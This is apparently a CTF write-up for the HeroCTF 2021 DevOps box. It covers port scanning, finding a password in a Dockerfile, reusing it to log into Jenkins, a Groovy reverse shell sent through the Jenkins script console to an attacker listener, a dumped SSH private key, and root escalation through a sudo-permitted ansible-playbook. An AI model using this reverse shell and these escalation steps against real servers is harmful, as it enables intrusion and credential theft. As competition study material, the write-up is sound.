HeroCTF 2021 - DevOps Box writeup
Table of contents :
Recon
Firstly we do some initial recon of the box :
# Nmap 7.80 scan initiated Sat Apr 24 11:35:54 2021 as: nmap -p- -sV -A -sC -oN mynmap.txt box.heroctf.fr
Nmap scan report for box.heroctf.fr (35.246.63.133)
Host is up (0.026s latency).
rDNS record for 35.246.63.133: 133.63.246.35.bc.googleusercontent.com
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 af:4c:ca:c8:43:fd:71:32:36:b6:ae:39:e4:11:17:33 (RSA)
| 256 b0:06:3f:e4:8a:cd:62:86:ad:19:bb:bd:85:45:0d:c4 (ECDSA)
|_ 256 a9:0e:3c:0a:00:c1:b9:e6:74:df:53:69:8b:e7:70:2d (ED25519)
25/tcp filtered smtp
2222/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 2048 b5:bb:7a:f9:09:39:8f:5a:7b:86:34:02:01:7c:f3:e0 (RSA)
| 256 09:83:5a:c8:10:8a:1d:68:ff:4d:4f:f1:9c:1e:b9:0c (ECDSA)
|_ 256 13:23:da:11:d8:20:f3:ac:ee:95:95:31:1b:9d:fa:30 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=51ae744feaf30de2; Path=/; HttpOnly
| Set-Cookie: _csrf=f-nMsBHQhV7dn65fkM9q5tbblXM6MTYxOTI1NzE1NTI4NTI0MjMxMA; Path=/; Expires=Sun, 25 Apr 2021 09:39:15 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 24 Apr 2021 09:39:15 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Git for my ecomerce website </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5162e2c7261609cf; Path=/; HttpOnly
| Set-Cookie: _csrf=PWgv7IESCJgGuui96GMYSNcl9Rs6MTYxOTI1NzE2MDQ0NjY1ODg2OQ; Path=/; Expires=Sun, 25 Apr 2021 09:39:20 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 24 Apr 2021 09:39:20 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Git for my ecomerce website </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a cu
8080/tcp open http Jetty 9.2.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
50000/tcp open http Jenkins httpd 2.60.3
|_http-server-header: 192.168.144.2
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 24 11:41:50 2021 -- 1 IP address (1 host up) scanned in 355.78 seconds
In the open ports, we see two interesting services running on the box :
box.heroctf.fr:3000: Gitea 1.12.4box.heroctf.fr:8080: Jenkins 2.60.3
On the GiTea webiste, we can create an account. We create one and we see two very interesting repositories :
One of these two repositories is particularly interesting :
We git clone them to have them locally, and we search for interesting stuff in it. In the Dockerfile we find the git user’s password : heroes :
FROM gitea/gitea:1.12.4
COPY ./files/root.txt /root/root.txt
RUN chown root:root /root/root.txt
RUN chmod 400 /root/root.txt
RUN apk add gcc git libffi-dev musl-dev openssl-dev perl py-pip python python-dev sshpass
RUN python -m pip install git+git://github.com/ansible/ansible.git@devel
RUN apk add sudo
RUN echo "git:heroes" | chpasswd
RUN echo "git ALL=(ALL) NOPASSWD:/usr/bin/ansible-playbook" >> /etc/sudoers
Getting a shell
We try to connect as admin on the Jenkins with a password reuse :
Username : admin
Password : heroes
And we’re in !
Now that we are connected, we can go into the management console :
And we can execute code using Jenkins’s script console (http://box.heroctf.fr:8080/script) :
Inside this console, we can use a Groovy script reverse shell :
String host="IP";
int port=4444;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Now that we have the reverse shell, we can get the user flag :
$ nc -lvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 35.246.63.133.
Ncat: Connection from 35.246.63.133:54878.
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
python -c '__import__("pty").spawn("bash")'
jenkins@gentleman:/$ cd /home
cd /home
jenkins@gentleman:/home$ ls
ls
jenkins@gentleman:/home$ ls -lha
ls -lha
total 8.0K
drwxr-xr-x 2 root root 4.0K Jun 26 2018 .
drwxr-xr-x 1 root root 4.0K Apr 24 09:00 ..
jenkins@gentleman:/home$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
/var/jenkins_home/user.txt
jenkins@gentleman:/home$ cat /var/jenkins_home/user.txt
cat /var/jenkins_home/user.txt
Hero{dc97a2f7da5304d12fe820bd2a6d343d}
jenkins@gentleman:/home$
Now that we have the user flag, we can try to escalate to root !
Shell as gitea user
Now that we have the user flag, we look around in the Jenkin’s files and we find the Gitea private key !
jenkins@gentleman:~$ ls
ls
config.xml nodes
copy_reference_file.log plugins
gitea.key queue.xml.bak
hudson.model.UpdateCenter.xml secret.key
identity.key.enc secret.key.not-so-secret
init.groovy.d secrets
jenkins.CLI.xml user.txt
jenkins.install.InstallUtil.lastExecVersion userContent
jenkins.install.UpgradeWizard.state users
jobs war
logs workspace
nodeMonitors.xml
jenkins@gentleman:~$ cat gitea.key
cat gitea.key
-----BEGIN OPENSSH PRIVATE KEY-----
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
FZkG8u37SmCjAAAAB2Fuc2libGUBAgM=
-----END OPENSSH PRIVATE KEY-----
We can now connect as the gitea user !
Privilege escalation to root
We can now connect to the box as gitea user :
$ ssh git@box.heroctf.fr -p 2222 -i ./gitea.key
gitea:~$
At this point, we try simple enumeration techniques,
gitea:~$ sudo -l
User git may run the following commands on gitea:
(ALL) NOPASSWD: /usr/bin/ansible-playbook
gitea:~$
We can probably do a privilege escalation using ansible. To do this, we create a simple ansible playbook :
---
- name: Privesc
hosts: localhost
become: true
become_user: root
become_method: sudo
tasks:
- name: Shell command
shell:
"cat /root/root.txt"
register: cmd
tags: cmd
- debug: msg="{{cmd.stdout}}"
Now we can run our playbook, and it will be able to cat the flag as root :
gitea:~$ sudo /usr/bin/ansible-playbook simple_playbook.yml
sudo: setrlimit(RLIMIT_CORE): Operation not permitted
[DEPRECATION WARNING]: Ansible will require Python 3.8 or newer on the controller starting with Ansible 2.12. Current version: 2.7.18
(default, May 3 2020, 20:31:45) [GCC 9.2.0]. This feature will be removed from ansible-core in version 2.12. Deprecation warnings
can be disabled by setting deprecation_warnings=False in ansible.cfg.
/usr/lib/python2.7/site-packages/ansible/parsing/vault/__init__.py:44: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.exceptions import InvalidSignature
[WARNING]: You are running the development version of Ansible. You should only run Ansible from "devel" if you are modifying the
Ansible engine, or trying out features under development. This is a rapidly changing source of code and can become unstable at any
point.
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [Privesc] ***********************************************************************************************************************
TASK [Gathering Facts] ***************************************************************************************************************
ok: [localhost]
TASK [Shell command] *****************************************************************************************************************
changed: [localhost]
TASK [debug] *************************************************************************************************************************
ok: [localhost] => {
"msg": "Hero{ce4e994cb477dec9b1ea876db647c562}"
}
PLAY RECAP ***************************************************************************************************************************
localhost : ok=3 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
gitea:~$
And we have the root flag Hero{ce4e994cb477dec9b1ea876db647c562} !